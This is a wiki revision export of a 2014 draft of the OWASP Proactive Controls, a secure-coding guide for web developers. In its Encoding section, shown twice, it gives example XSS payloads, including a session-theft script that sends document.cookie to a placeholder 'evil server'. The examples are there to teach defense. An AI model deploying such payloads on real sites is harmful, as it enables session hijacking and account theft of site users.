   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
TODO: Log Injection&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Security needs to be considered in the architecture and design of the application.&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Understand Trust and Dependencies''': another important part of secure architecture and design is tiering and trust, deciding what is done in the client, the web layer, the business layer, the data layer, and the trust assumptions that developers need to make between different parts of the system. What is inside/outside of a trust zone/boundary, what sources can be trusted, what should not be. This determines where you need to make decisions about authentication, access control, data validation and/or encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169945</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169945"/>
				<updated>2014-03-11T17:30:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
